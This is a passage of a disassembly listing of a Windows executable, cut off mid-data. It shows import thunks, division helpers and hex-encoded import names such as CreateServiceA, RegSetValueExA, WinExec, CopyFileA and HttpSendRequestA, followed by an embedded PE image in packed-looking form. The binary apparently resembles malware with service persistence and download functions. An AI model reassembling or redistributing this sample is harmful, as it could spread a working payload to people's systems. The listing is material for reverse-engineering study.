Attributes: thunk sub_409AB4 proc near ; CODE XREF: code:0040514Dp ; code:0040515Cp ... jmp dword_401100 sub_409AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409ABA proc near ; CODE XREF: code:004054CCp ; code:004054DFp ... jmp dword_4010FC sub_409ABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AC0 proc near ; CODE XREF: sub_405D60+62p ; code:004071EFp ... jmp dword_4010F8 sub_409AC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AC6 proc near ; CODE XREF: sub_407381+1p ; sub_407381+Bp ... jmp dword_4010F4 sub_409AC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409ACC proc near ; CODE XREF: code:00407780p jmp dword_4010F0 sub_409ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AD2 proc near ; CODE XREF: code:00407AB7p ; sub_407F03+81p ... jmp dword_4010EC sub_409AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AD8 proc near ; CODE XREF: code:00407A1Fp ; code:00407A4Fp ... jmp dword_4010E8 sub_409AD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409ADE proc near ; CODE XREF: code:004079F9p ; code:00407C5Ep ... jmp dword_40110C sub_409ADE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AE4 proc near ; CODE XREF: code:00407D4Ep ; code:00407E11p jmp dword_4010E0 sub_409AE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AEA proc near ; CODE XREF: text:00408436p jmp dword_4010DC sub_409AEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AF0 proc near ; CODE XREF: text:00408256p ; text:0040827Bp ... jmp dword_4010D8 sub_409AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AF6 proc near ; CODE XREF: text:00408245p ; text:004083DEp jmp dword_4010D4 sub_409AF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AFC proc near ; CODE XREF: sub_408691+23p jmp dword_4010D0 sub_409AFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409B02 proc near ; CODE XREF: sub_408691+11p jmp dword_4010CC sub_409B02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409B08 proc near ; CODE XREF: sub_40870A+163p jmp dword_4010C8 sub_409B08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409B0E proc near ; CODE XREF: sub_409022+167p ; sub_409957+Cp jmp dword_4010C4 sub_409B0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409B14 proc near ; CODE XREF: sub_4098BE+66p jmp dword_4010C0 sub_409B14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409B20 proc near ; CODE XREF: sub_409314+4Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_409B41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_409B91 ; --------------------------------------------------------------------------- loc_409B41: ; CODE XREF: sub_409B20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_409B4F: ; CODE XREF: sub_409B20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_409B4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_409B7A cmp edx, [esp+4+arg_4] ja short loc_409B7A jb short loc_409B82 cmp eax, [esp+4+arg_0] jbe short loc_409B82 loc_409B7A: ; CODE XREF: sub_409B20+4Aj ; sub_409B20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_409B82: ; CODE XREF: sub_409B20+52j ; sub_409B20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_409B91: ; CODE XREF: sub_409B20+1Fj pop ebx retn 10h sub_409B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409BA0 proc near ; CODE XREF: sub_409314+29p ; sub_409314+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_409BC2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_409C03 ; --------------------------------------------------------------------------- loc_409BC2: ; CODE XREF: sub_409BA0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_409BD0: ; CODE XREF: sub_409BA0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_409BD0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_409BFE cmp edx, [esp+8+arg_4] ja short loc_409BFE jb short loc_409BFF cmp eax, [esp+8+arg_0] jbe short loc_409BFF loc_409BFE: ; CODE XREF: sub_409BA0+4Ej ; sub_409BA0+54j dec esi loc_409BFF: ; CODE XREF: sub_409BA0+56j ; sub_409BA0+5Cj xor edx, edx mov eax, esi loc_409C03: ; CODE XREF: sub_409BA0+20j pop esi pop ebx retn 10h sub_409BA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409C08 proc near ; CODE XREF: sub_4093DC+56p jmp dword_4010E4 sub_409C08 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409C10 proc near ; CODE XREF: sub_4093DC+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_409C31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_409C31: ; CODE XREF: sub_409C10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_409C4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_409C4D: ; CODE XREF: sub_409C10+27j or eax, eax jnz short loc_409C69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_409CAA ; --------------------------------------------------------------------------- loc_409C69: ; CODE XREF: sub_409C10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_409C77: ; CODE XREF: sub_409C10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_409C77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_409CA5 cmp edx, [esp+0Ch+arg_4] ja short loc_409CA5 jb short loc_409CA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_409CA6 loc_409CA5: ; CODE XREF: sub_409C10+85j ; sub_409C10+8Bj dec esi loc_409CA6: ; CODE XREF: sub_409C10+8Dj ; sub_409C10+93j xor edx, edx mov eax, esi loc_409CAA: ; CODE XREF: sub_409C10+57j dec edi jnz short loc_409CB4 neg edx neg eax sbb edx, 0 loc_409CB4: ; CODE XREF: sub_409C10+9Bj pop ebx pop esi pop edi retn 10h sub_409C10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409CBA proc near ; CODE XREF: code:004072D6p ; code:00407343p ... jmp dword_401158 sub_409CBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409CC0 proc near ; CODE XREF: code:004072C7p ; code:0040730Ep jmp dword_401154 sub_409CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409CC6 proc near ; CODE XREF: code:0040722Bp ; code:004072E2p jmp dword_40115C sub_409CC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409CCC proc near ; CODE XREF: code:0040721Fp jmp dword_401150 sub_409CCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409CD2 proc near ; CODE XREF: code:0040718Bp jmp dword_40114C sub_409CD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409CD8 proc near ; CODE XREF: code:0040716Ep ; code:004071A5p jmp dword_401148 sub_409CD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409CDE proc near ; CODE XREF: sub_406983+5Ep ; text:004080CBp jmp dword_4011C0 sub_409CDE endp ; --------------------------------------------------------------------------- align 10h byte_409CF0 db 0 ; DATA XREF: code:off_4016D0o ; code:0040713Br ... align 4 dword_409CF4 dd 2 dup(0) dword_409CFC dd 0 dword_409D00 dd 6 dup(0) ; code:loc_407602o dword_409D18 dd 0 ; sub_407EAB+44r ... align 10h dword_409D20 dd 0 ; sub_408C39+18w ... dword_409D24 dd 0 ; sub_408C39+6Aw ... dword_409D28 dd 0 ; sub_408C39+FDw dword_409D2C dd 0 dword_409D30 dd 0 dword_409D34 dd 0 dword_409D38 dd 0 dword_409D3C dd 0 ; sub_408C39+52w ... dword_409D40 dd 0 ; sub_408C39+C6r ... align 8 dword_409D48 dd 0 ; sub_404360+6A1r ... align 10h word_409D50 dw 0 ; DATA XREF: sub_404360+134r ; code:00407291r ... align 10h dword_409D60 dd 0 ; sub_40960A+DCw ... dword_409D64 dd 0 ; sub_40960A+6Fw ... dword_409D68 dd 0 ; code:00407B12r ... dword_409D6C dd 0 ; code:00407B6Dr ... dword_409D70 dd 0 ; sub_40971A+53w ... dword_409D74 dd 0 ; sub_40971A+4Dw dword_409D78 dd 54h dup(0) byte_409EC8 db 0 ; DATA XREF: sub_404360+1AFw ; sub_404E76+42w ... align 4 dword_409ECC dd 0 ; sub_404360+13Cr ... byte_409ED0 db 0 ; DATA XREF: sub_404360+683w ; code:loc_40758Cw ... align 2 word_409ED2 dw 0 ; DATA XREF: sub_404360+7E0r ; code:004053D9r ... dword_409ED4 dd 5 dup(0) dword_409EE8 dd 0 ; sub_404360:loc_4048A7w ... word_409EEC dw 0 ; DATA XREF: sub_404360+3F5w ; sub_404360:loc_404761r ... align 10h dword_409EF0 dd 0 ; sub_404360+42Fw dword_409EF4 dd 0 dword_409EF8 dd 0 dword_409EFC dd 0 ; sub_404360:loc_40491Aw ... dword_409F00 dd 0 ; sub_404360+596w byte_409F04 db 0 ; DATA XREF: sub_404360+5E0w ; sub_404360+600w align 4 dword_409F08 dd 0 ; text:004084D6w ... byte_409F0C db 0 ; DATA XREF: sub_404D6D:loc_404E6Aw ; sub_404E76:loc_404E79r ... align 10h dword_409F10 dd 0 ; sub_404E76+37w ... dword_409F14 dd 0 ; sub_404C8D+75w dword_409F18 dd 0 ; sub_404C8D+7Dr ... dword_409F1C dd 23h dup(0) dword_409FA8 dd 41h dup(0) dword_40A0AC dd 24h dup(0) dd 0A79Eh, 4 dup(0) dd 0A8F2h, 4 dup(0) dd 0A52Ch, 4 dup(0) dd 0A900h, 4 dup(0) dd 0A7E2h, 4 dup(0) dd 0A9C4h, 4 dup(0) dd 0A9EAh, 6 dup(0) dd 0A868h, 0A856h, 0A844h, 0A836h, 0A826h, 0A814h, 0A804h dd 0A7EEh, 0A878h, 0A890h, 0A8A2h, 0A8B6h, 0A8D4h, 0 dd 0A77Ah, 0A764h, 0A754h, 0A73Ah, 0A71Eh, 0A70Eh, 0A6F8h dd 0A6ECh, 0A6E0h, 0A6D4h, 0A6C4h, 0A6B8h, 0A6A2h, 0A68Ch dd 0A670h, 0A660h, 0A64Ah, 0A538h, 0A540h, 0A550h, 0A55Eh dd 0A56Ch, 0A584h, 0A596h, 0A5AEh, 0A5D6h, 0A5EEh, 0A604h dd 0A612h, 0A620h, 0A62Ah, 0A63Ah, 0A78Eh, 0 dd 0A51Ah, 0A512h, 0A508h, 0A4FCh, 0A4F2h, 0A4E8h, 0A4DEh dd 0A4D4h, 0A4CCh, 0A524h, 0A4BCh, 0A4B2h, 0A4A2h, 0A49Ah dd 0A490h, 0A486h, 0A47Ch, 0A3DCh, 0A472h, 0A4C4h, 0A466h dd 0A45Ch, 0A452h, 0A448h, 0A440h, 0A42Ch, 0A422h, 0A416h dd 0A40Eh, 0A404h, 0A3FAh, 0A3EEh, 0A3E6h, 0 dd 80000018h, 8000004Bh, 80000029h, 8000000Bh, 8000001Fh dd 80000003h, 0 dd 0A7C0h, 0A7ACh, 0A7D4h, 0 dd 0A93Eh, 0A95Ch, 0A970h, 0A984h, 0A998h, 0A9A8h, 0A914h dd 0A92Ah, 0 dd 8000000Bh, 80000074h, 8000006Fh, 80000010h, 80000013h dd 80000004h, 80000009h, 80000017h, 80000003h, 0A9DCh dd 80000097h, 80000012h, 80000008h, 8000000Eh, 8000000Ch dd 8000000Ah, 80000001h, 80000014h, 80000011h, 80000033h dd 80000005h, 8000000Dh, 80000002h, 80000015h, 80000016h dd 80000073h, 80000034h, 80000039h, 130h dup(0) db 2 dup(0) word_40A89A dw 0 ; DATA XREF: code:004029DCo ; code:00402A20o ... dd 1Ch dup(0) dd 2E52504Dh, 6C6C64h, 2Fh dup(0) dd 52435000h, 642E3454h, 6C6Ch, 189h dup(0) dd 0E0h, 38h, 74655301h, 65726854h, 72506461h, 69726F69h dd 1007974h, 626F6C47h, 654D6C61h, 79726F6Dh, 74617453h dd 1007375h, 56746547h, 69737265h, 78456E6Fh, 51010041h dd 79726575h, 66726550h, 616D726Fh, 4365636Eh, 746E756Fh dd 1007265h, 72657551h, 72655079h, 6D726F66h, 65636E61h dd 71657246h, 636E6575h, 53010079h, 72457465h, 4D726F72h dd 65646Fh, 74654701h, 74737953h, 69446D65h, 74636572h dd 4179726Fh, 736C0100h, 656C7274h, 100416Eh, 7274736Ch dd 41746163h, 6F430100h, 69467970h, 41656Ch, 74654701h dd 706D6554h, 68746150h, 57010041h, 65746972h, 656C6946h dd 65470100h, 6C694674h, 74744165h, 75626972h, 41736574h dd 65530100h, 6C694674h, 74744165h, 75626972h, 41736574h dd 78450100h, 646E6170h, 69766E45h, 6D6E6F72h, 53746E65h dd 6E697274h, 417367h, 65724301h, 45657461h, 746E6576h dd 57010041h, 46746961h, 6953726Fh, 656C676Eh, 656A624Fh dd 1007463h, 65656C53h, 47010070h, 69547465h, 6F436B63h dd 746E75h, 69784501h, 6F725074h, 73736563h, 78450100h dd 68547469h, 64616572h, 654C0100h, 43657661h, 69746972h dd 536C6163h, 69746365h, 1006E6Fh, 6D726554h, 74616E69h dd 72685465h, 646165h, 746E4501h, 72437265h, 63697469h dd 65536C61h, 6F697463h, 4901006Eh, 6974696Eh, 7A696C61h dd 69724365h, 61636974h, 6365536Ch, 6E6F6974h, 53646E41h dd 436E6970h, 746E756Fh, 65440100h, 6574656Ch, 74697243h dd 6C616369h, 74636553h, 6E6F69h, 74654701h, 75646F4Dh dd 6946656Ch, 614E656Ch, 41656Dh, 6F6C4301h, 61486573h dd 656C646Eh, 72430100h, 65746165h, 656C6946h, 57010041h dd 78456E69h, 1006365h, 4C746547h, 45747361h, 726F7272h dd 72430100h, 65746165h, 6574754Dh, 1004178h, 61657243h dd 68546574h, 64616572h, 0ED0000h, 0 dd 52010000h, 704F6765h, 654B6E65h, 41784579h, 65520100h dd 65724367h, 4B657461h, 78457965h, 52010041h, 65536765h dd 6C615674h, 78456575h, 52010041h, 6C436765h, 4B65736Fh dd 1007965h, 656C6544h, 65536574h, 63697672h, 4F010065h dd 536E6570h, 6E614D43h, 72656761h, 4F010041h, 536E6570h dd 69767265h, 416563h, 6F6C4301h, 65536573h, 63697672h dd 6E614865h, 656C64h, 61684301h, 5365676Eh, 69767265h dd 6F436563h, 6769666Eh, 1004132h, 61657243h, 65536574h dd 63697672h, 1004165h, 53746553h, 69767265h, 74536563h dd 73757461h, 65520100h, 74736967h, 65537265h, 63697672h dd 72744365h, 6E61486Ch, 72656C64h, 53010041h, 74726174h dd 76726553h, 43656369h, 446C7274h, 61707369h, 65686374h dd 4172h, 0FAh, 0C0h, 72747301h, 746163h, 61727301h, 100646Eh dd 69727766h, 1006574h, 7274735Fh, 6D63696Eh, 73010070h dd 68637274h, 73010072h, 6E616373h, 73010066h, 6D637274h dd 73010070h, 6F747274h, 1006C75h, 65657366h, 6301006Bh dd 6C6965h, 65726601h, 1006461h, 6F6C6366h, 1006573h, 40333F3Fh dd 50584159h, 5A405841h, 61720100h, 100646Eh, 69727073h dd 66746Eh, 6D656D01h, 797063h, 6D656D01h, 746573h, 72747301h dd 7461636Eh, 74730100h, 79706372h, 6F660100h, 6E6570h dd 70737601h, 746E6972h, 73010066h, 656C7274h, 6D01006Eh dd 6F6C6C61h, 72010063h, 6C6C6165h, 100636Fh, 6F74665Fh dd 5F01006Ch, 65637865h, 685F7470h, 6C646E61h, 337265h dd 72747301h, 6B6F74h, 74735F01h, 706D6372h, 61010069h dd 696F74h, 72747301h, 7970636Eh, 74730100h, 72747372h dd 735F0100h, 6972706Eh, 66746Eh, 65726601h, 5000065h dd 48000001h, 0FF000001h, 4BFF0018h, 29FF00h, 0FF000BFFh dd 3FF001Fh, 1100000h, 1640000h, 54010000h, 736E6172h dd 6574616Ch, 7373654Dh, 656761h, 73694401h, 63746170h dd 73654D68h, 65676173h, 47010041h, 654D7465h, 67617373h dd 4165h, 11Bh, 174h, 746E4901h, 656E7265h, 65755174h dd 61447972h, 76416174h, 616C6961h, 656C62h, 74744801h dd 6E655370h, 71655264h, 74736575h, 48010041h, 4F707474h dd 526E6570h, 65757165h, 417473h, 746E4901h, 656E7265h dd 6E6F4374h, 7463656Eh, 49010041h, 7265746Eh, 4F74656Eh dd 416E6570h, 6E490100h, 6E726574h, 65477465h, 6E6F4374h dd 7463656Eh, 74536465h, 657461h, 746E4901h, 656E7265h dd 6F6C4374h, 61486573h, 656C646Eh, 6E490100h, 6E726574h dd 65527465h, 69466461h, 656Ch, 127h, 198h, 0FF000BFFh dd 6FFF0074h, 10FF00h, 0FF0013FFh, 9FF0004h, 17FF00h, 10003FFh dd 53415357h, 656B636Fh, 0FF004174h, 12FF0097h, 8FF00h dd 0FF000EFFh, 0AFF000Ch, 1FF00h, 0FF0014FFh, 33FF0011h dd 5FF00h, 0FF000DFFh, 15FF0002h, 16FF00h, 0FF0073FFh dd 39FF0034h, 0 dd 45500000h, 14C0000h, 0C9950001h, 4331h, 0 dd 0E00000h, 10B010Fh, 9A000006h, 2 dup(0) dd 916F0000h, 10000000h, 0B0000000h, 0 dd 10000040h, 2000000h, 40000h, 0 dd 40000h, 0 dd 0B0000000h, 4000000h, 0 dd 20000h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 0A1300000h, 0A00000h, 14h dup(0) dd 10000000h, 20C0000h, 6 dup(0) dd 742E0000h, 747865h, 99F60000h, 10000000h, 9A000000h dd 4000000h, 3 dup(0) dd 200000h, 0A000E000h, 0 dd 0A5C60000h, 4BC0000h, 47A716A1h, 0B89291EDh, 7F2529B2h dd 0B4CCD9B7h, 0B73DB005h, 0C0940F1Dh, 685753C3h, 0B4528347h dd 69A5083Fh, 228CC2h, 10141DB7h, 47ED3236h, 56267A89h dd 14F49968h, 642B1A57h, 35189F70h, 0B5C5051Ch, 0FC15E3E0h dd 1501B376h, 5EC38AD6h, 2D73B65Fh, 469CF612h, 596C4B4Dh dd 0F3B59881h, 45AA463Eh, 801EEA33h, 10521297h, 5B66DB7h dd 0EB4907B7h, 5E568603h, 0C3D3D054h, 585F5775h, 4130ECECh dd 325E2EB3h, 0DA545684h, 1740B7Bh, 5660ECh, 0DC071955h dd 4B0E9433h, 0F217C65h, 48A839B2h, 8242CD9h, 5F454774h dd 20E542D0h, 0B6FBE42Dh, 4DF7BC11h, 512B5FE0h, 7D895036h dd 50A002E8h, 47E46BAEh, 400C3080h, 0E91BB6A1h, 2D47589h dd 0EE7A04D8h, 9B22AE83h, 6557330Eh, 0F58BE90Dh, 6B7B7C0Ch dd 0D08BAB29h, 54237850h, 0C7F9BB00h, 0B70A26EDh, 59FC8431h dd 30D7FF80h, 42C8DF18h, 19FCA8C8h, 7017E87Ch, 17F4DFBBh dd 750B74BFh, 567A1837h, 16CB3553h, 55B1C673h, 0BB5704FCh dd 44082A67h, 815E1A6h, 0D8DF2610h, 6E0C1E60h, 176C4FF8h dd 461645F2h, 0F8F84E00h, 204C873Bh, 4208F8F8h, 0F4E43B31h dd 0AC7D5ECh, 0C039828h, 0FBE12B01h, 0D32C6083h, 74DB85D8h dd 56F0BE73h, 789B70D4h, 0A48053A7h, 71105C74h, 0D1211428h dd 0ED040827h, 6DE3EA12h, 0D8709EFCh, 24256184h, 0A36C30BCh dd 8B92C88h, 83D8B06Dh, 3B41D999h, 33AD0208h, 3C24B861h dd 0BE0419EBh, 0D7E27E2Eh, 0B0B153CAh, 350B2068h, 68A9D3Ch dd 28E83E61h, 27C60E86h, 20C8C3Fh, 1E8C2568h, 34DC05C7h dd 302CFB9Bh, 1240960h, 91283D89h, 5CD9191h, 0B634302Ch dd 38B18FDEh, 0C74F2C52h, 0BA825FA3h, 7BEF0ACDh, 49BE651Dh dd 2CFB4779h, 0D3B28EE1h, 74110057h, 3C9440A3h, 21259C8Bh dd 82B99404h, 7829D6C2h, 0C6B21F1Fh, 166AD81Fh, 7F7201C0h dd 7D56BCA4h, 1E80356Fh, 6A25C481h, 67174595h, 6E350CC3h dd 687034Ah, 0F0B06C3Ah, 0D9A423D3h, 0BDCFD96Ch, 0D0060B25h dd 2CE256FAh, 30E22713h, 0E4C39E0h, 39897053h, 0EBC200F8h dd 4C916F7Ch, 0F4073C0Bh, 304D8C39h, 0C2B3CEB4h, 0BD060C31h dd 50B8445Dh, 450B74D5h, 0E03E79B5h, 0D79A9451h, 708F5059h dd 60A39A66h, 68FFBF12h, 32D83968h, 0F8107D4Eh, 0F0CA7h dd 5483A0E7h, 0EA986F02h, 606AC502h, 74025CA8h, 0E30E63Ch dd 4438B05Bh, 5B0C4056h, 0CF04CF56h, 9B0D6714h, 38102310h dd 71DBE064h, 2946AF78h, 0D90C13F9h, 0ED23938Bh, 0F70E1068h dd 3B373612h, 96106CECh, 0AC150650h, 0EE05CCE0h, 0F1878CAh dd 801C6D64h, 70E236C9h, 828F5FA5h, 0F6AFB109h, 2B2EF084h dd 6BE6630h, 49C1218Bh, 39AD56B1h, 0F62D99D3h, 101ABB8Dh dd 0C6540650h, 807BBA36h, 140318BCh, 730C745Ch, 61581539h dd 0BD610EC1h, 16E490Bh, 2E4F8B1Ch, 0C0875957h, 462DB300h dd 0D453891Ch, 59F48A25h, 0A3806BCAh, 62066041h, 356080A5h dd 641F45F8h, 6FC61284h, 0D474C657h, 0C1582950h, 64562709h dd 0ED90FB72h, 52BA5C64h, 56AD7457h, 0B0668F82h, 0EC9BACA4h dd 5A02B26h, 78571A9Eh, 198FD037h, 0AF9AA7Eh, 0BF808638h dd 2BDF63C7h, 0BE803FEBh, 0BF2D758Ah, 5279B636h, 53E83B3Dh dd 29561D26h, 0C109707Bh, 3AFF7D4Ah, 0EB59F379h, 29535A10h dd 41A27C0Fh, 0B1C38F5Fh, 0F4244430h, 50688697h, 0D8F7FC57h dd 0C0FEC01Ah, 0AF420C81h, 20171823h, 72A13557h, 5E9E1483h dd 33416D52h, 0EB050D54h, 35F44CEAh, 0FE7F15ECh, 481E1842h dd 18370B8Ch, 35DD97ADh, 4DAE2099h, 9DF54741h, 0A71E7505h dd 1D1E0892h, 0CAD70C06h, 0C1560DE2h, 0BD1E53A7h, 0B341DA02h dd 3A3502EBh, 0D4629104h, 21906C40h, 8FA31801h, 0D2A3664Ah dd 39C4B69Eh, 0FDBED886h, 0FBFFB999h, 3F9F71Ah, 111512D6h dd 522D4BA0h, 8F1A557Eh, 6C58B47Fh, 3404834Ch, 40CF3117h dd 0C7A36EC3h, 262D147Ah, 0D021D0C8h, 38AA7BD0h, 1A1A46EAh dd 0BBCC8071h, 757C1D11h, 640DCE66h, 0D92F6809h, 58088042h dd 38786F42h, 0CEB444Fh, 0BF584C6Ch, 0A4E0F407h, 0A50A8BDCh dd 293AF0F5h, 41B75001h, 46B0B1A1h, 0C804D3B2h, 13BC7C4Ah dd 838A5AC7h, 68F128F1h, 5268D381h, 149806FEh, 5D8373Dh dd 0DD91A026h, 0BB5980h, 0EA790F12h, 7E6D59B5h, 27401930h dd 59313D5Fh, 16DC98A7h, 815C0848h, 27B12028h, 0A1A3D2BAh dd 742F51C8h, 981C8819h, 59A94475h, 65160D81h, 0BB1E0A02h dd 956E4ECCh, 1FF00E6h, 76120428h, 0CD971BA0h, 0DE658716h dd 4F6E0C70h, 56423FF7h, 348B60Fh, 1020451h, 24510003h dd 9317B050h, 49403A10h, 2FBD868Ch, 0AE431CD9h, 226DA3h dd 0F2A05918h, 0F57D2E9Eh, 4817E2Ah, 76EAA4EBh, 0B6D32A8Bh dd 4808B4BDh, 0C248C548h, 8032ADC3h, 0FAB07157h, 18A11C2Ah dd 0B703E0F5h, 6D310F1Bh, 0CE638946h, 0D29BFA8Bh, 0FB611A10h dd 1B8D2BA5h, 86A068D7h, 9CB352D4h, 5B0742FFh, 3B090AF7h dd 0CC7781D6h, 0FF810872h, 76F3DB40h, 77C34289h, 526419C2h dd 8B081C57h, 0B6083554h, 20581DC8h, 6EADF75Bh, 988305ABh dd 4B6A0673h, 7714580Dh, 0BE690679h, 42471050h, 0E690373Fh dd 2E32A419h, 419F2126h, 1E1D679Ah, 730A0C19h, 0E6F1164Dh dd 2BC03305h, 0BAC703C1h, 0A716C918h, 0E255C8A0h, 66C1BE44h dd 2A4809BAh, 407C8A39h, 7E2F057Fh, 0F006DEDEh, 0FC0B3976h dd 76F8347Ch, 8CD00A2Dh, 93FC04E0h, 2A17E17Bh, 0EC55CD47h dd 15E86DDFh, 12241CDDh, 0E94403E3h, 0EBB28504h, 0F768BD0Fh dd 0D2333E1Fh, 0F1F727B9h, 15180B9h, 0D8F98B0Dh, 0A0DDB85Dh dd 6A07F7F7h, 0C68B113Ch, 0FB0E1016h, 456EDDD7h, 12C28BD9h dd 0D81EF3F7h, 0D4BE5914h, 97B93A41h, 0F11358E8h, 0BE054C83h dd 9B9F0FD0h, 0BAF304BBh, 0BA0E07C8h, 0D01F8C0h, 0B9C8E61Bh dd 0FB0B9B8h, 41689852h, 8CBBA106h, 9FA8BE0Ah, 704E5608h dd 5524B509h, 0BC85985Fh, 30201AC6h, 0B59405C7h, 1B3C030Dh dd 3BD40AEh, 0F516DBCBh, 9A708DC1h, 12210B3Dh, 0A8555B78h dd 24B80137h, 0FC1CB442h, 67F76192h, 4E750210h, 0EB1220B8h dd 0B3535E47h, 0B8EF97E7h, 5A3B0B1Ch, 18B83175h, 9EA24B2Fh dd 4105B5CDh, 1B101F45h, 0E6CF2F7Fh, 0F0C0B48h, 5404B802h dd 6000B805h, 42AA6C15h, 939F1C60h, 0C1562377h, 0DCB0E051h dd 628CC841h, 8C64B9h, 6A795E1Ch, 7A105A08h, 0AA3F0092h dd 0E0F22CBBh, 0E8BA3CC7h, 4A1FB6B9h, 0F16F4045h, 5005F6F7h dd 0EA942BE9h, 4DC12B10h, 622C832Bh, 841D8C04h, 94D80BD0h dd 0B5DDD203h, 0ACBE82EAh, 24806EA0h, 2181A423h, 6A9630E7h dd 9E109315h, 871BE0C2h, 0FF44225Fh, 0B78D0F0Fh, 19C13663h dd 0E6FA1F30h, 609E3903h, 26BE85BCh, 6C074BB8h, 92775333h dd 1C186486h, 0D814C01Dh, 9803D684h, 0B84B2699h, 12F6BC18h dd 0FE837EADh, 0CD317403h, 0EBF16A59h, 0E59B968Ch, 801FEEEh dd 219EBFEh, 410EBFFh, 6E50B5AEh, 6507EB01h, 6DFB9109h dd 389803C9h, 0BC9213AAh, 4B75BB65h, 48D9A8Bh, 5D98E08Fh dd 55F446EFh, 89EB1FF4h, 0D41A9E88h, 0B889EFDEh, 74B00570h dd 0CACC2691h, 24F0085Dh, 0DEDE47D7h, 8BED7476h, 42C3486h dd 45F7E7Dh, 7D5A7D0Fh, 45981B77h, 0FFE95726h, 0BE3E68B6h dd 120C16DBh, 1F0E764Ch dd 0DBCE6C14h, 596C2321h, 609E8913h, 0C5BBE785h, 749E0EE6h dd 38B9E80h, 0E02F7809h, 0F188951h, 0F03D1472h, 45C79ADEh dd 1C78BE5Fh, 0CF5B2807h, 10957457h, 0C60E3A78h, 2BBDFB18h dd 0FE8147E0h, 0EBDE7C77h, 0C51CBB0Ah, 4F5A184Ah, 0C8C384D1h dd 8E9EBD6h, 0DA904C43h, 8BC6EE03h, 575F514Eh, 0B1B47049h dd 22673477h, 1F4F0698h, 0BBA51822h, 6AC23152h, 0EE837014h dd 479CBE1Ah, 0CC7D2599h, 0B83BECFEh, 6259096Dh, 0C380DA8Bh dd 5E241D61h, 0CCE8B99h, 17DFEC58h, 0CC15448Ah, 13FB4588h dd 1C91FC10h, 0FEFD91C9h, 0C9FBAD6Bh, 0FFEF7FFh, 5500FBEh dd 799A0411h, 